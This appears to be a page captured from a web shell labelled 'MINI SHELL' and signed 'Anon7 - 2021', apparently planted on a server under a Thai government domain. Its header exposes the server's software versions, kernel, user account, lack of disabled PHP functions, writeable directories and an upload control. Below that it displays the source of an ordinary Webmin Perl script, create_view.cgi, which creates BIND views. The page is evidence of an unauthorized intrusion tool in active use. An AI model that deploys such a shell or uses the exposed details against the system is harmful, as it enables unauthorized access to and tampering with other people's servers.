MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/usr/libexec/webmin/bind8/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/libexec/webmin/bind8/create_view.cgi
#!/usr/bin/perl
# create_view.cgi

require './bind8-lib.pl';
&error_setup($text{'vcreate_err'});
&ReadParse();
$add_to_file = &add_to_file();
$pconf = &get_config_parent($add_to_file);
$conf = $pconf->{'members'};
$access{'views'} == 1 || &error($text{'vcreate_ecannot'});
$access{'ro'} && &error($text{'vcreate_ecannot'});

# Validate inputs
$in{'name'} =~ /^\S+$/ || &error($text{'vcreate_ename'});
@views = &find("view", $conf);
foreach $v (@views) {
	&error($text{'vcreate_etaken'}) if ($v->{'value'} eq $in{'name'});
	}
$in{'class_def'} || $in{'class'} =~ /^[A-Za-z0-9]+$/ ||
	&error($text{'vcreate_eclass'});

# Create the view
&lock_file(&make_chroot($add_to_file));
$dir = { 'name' => 'view',
	 'values' => [ $in{'name'}, $in{'class_def'} ? ( ) : ( $in{'class'} ) ],
	 'type' => 1,
	 'members' => [ ],
	 'file' => $add_to_file
	};
if (!$in{'match_def'}) {
	push(@{$dir->{'members'}}, { 'name' => 'match-clients',
				     'type' => 1,
				     'members' =>
		[ map { { 'name' => $_ } } split(/\s+/, $in{'match'}) ] } );
	}
&save_directive($pconf, undef, [ $dir ], 0);
&flush_file_lines();
&unlock_file(&make_chroot($add_to_file));

# Add to user's ACL
if (!&can_edit_view($dir)) {
	$access{'vlist'} = join(" ", &unique(
                                split(/\s+/, $access{'vlist'}), $in{'name'}));
	&save_module_acl(\%access);
	}
&webmin_log("create", "view", $in{'name'}, \%in);
&redirect("");


Anon7 - 2021